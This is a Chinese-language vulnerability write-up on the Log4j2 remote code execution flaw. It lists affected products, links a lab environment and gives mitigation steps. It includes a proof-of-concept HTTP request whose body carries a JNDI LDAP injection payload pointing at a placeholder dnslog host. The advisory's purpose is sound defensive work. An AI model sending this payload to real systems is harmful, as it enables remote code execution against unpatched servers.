談談最近鬧得火熱的Log4j RCE漏洞
漏洞描述
Apache Log4j2 是一個基於 Java 的日志記錄工具。該工具重寫了 Log4j 框架,並且引入了大量豐富的特性。該日志框架被大量用於業務系統開發,用來記錄日志信息。
在大多數情況下,開發者可能會將用戶輸入導致的錯誤信息寫入日志中。攻擊者利用此特性可通過該漏洞構造特殊的數據請求包,最終觸發遠程代碼執行。由於該漏洞影響范圍極廣,建議廣大用戶及時排查相關漏洞,經過白帽匯安全研究院分析確認,目前市面有多款流行的系統都受影響。
該漏洞危害等級:嚴重
影響范圍
受影響版本
Apache log4j2 2.* <= Apache log4j2 2.15.1.rc1
主流相關產品 |
---|
Spring-Boot-strater-log4j2 |
Apache Struts2 |
Apache Solr |
Apache Flink |
Apache Druid |
ElasticSearch |
Flume |
Dubbo |
Redis |
更多組件可參考如下鏈接:
https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/usages?p=1
應用 | 受影響版本 |
---|---|
Spring-Boot-strater-log4j2 | 全版本 |
Apache Struts2 | 全版本 |
Apache Solr | |
Apache Flink | 1.11.0-rc1 到 1.14.0 |
Apache Druid | 0.7.x以上 |
Alibaba Druid | 1.0.15以及以上 |
ElasticSearch | 5.x,6.x和7.x |
Logstash | 5.0.0至最新 |
log4j2-redis-appender | 全版本 |
Apache Dubbo | 2.7.x以及3.0.x |
Hadoop Hive | 2.x和3.x |
hadoop hbase | 3.0.0-alpha-1 |
Mycat | 1.6.x |
OpenCms | build_11_0_0_beta到最新 |
漏洞復現
目前Vulfocus
已經集成 Log4j2 環境,可通過以下鏈接啟動環境測試:
http://vulfocus.fofa.so/#/dashboard?image_id=3b8f15eb-7bd9-49b2-a69e-541f89c4216c
也可通過 docker pull vulfocus/log4j2-rce-2021-12-09:latest 拉取本地環境運行,本地啟動命令:docker run -d -P vulfocus/log4j2-rce-2021-12-09:latest
成功打到dnslog
POC
POST /hello HTTP/1.1
Host: vulfocus.fofa.so:9564
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
payload=${jndi:ldap://xxxxx.ceye.io}
修復建議
1、禁止使用 log4j 服務器外連,升級idk 11.0.1 8u191 7u201 6u211
或更高版本。
2、升級至 log4j-2.15.0-rc2
:
下載地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
3、緊急緩解措施:
(1) 修改 jvm 參數 -Dlog4j2.formatMsgNoLookups
=true
(2) 修改配置 log4j2.formatMsgNoLookups
=True
(3) 將系統環境變量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS
設置為 true
簡單小結
用一張圖來形容這個漏洞
一堆框架都是這個基礎上進行的,所以導致危害范圍極大,而利用起來又非常簡單。
附: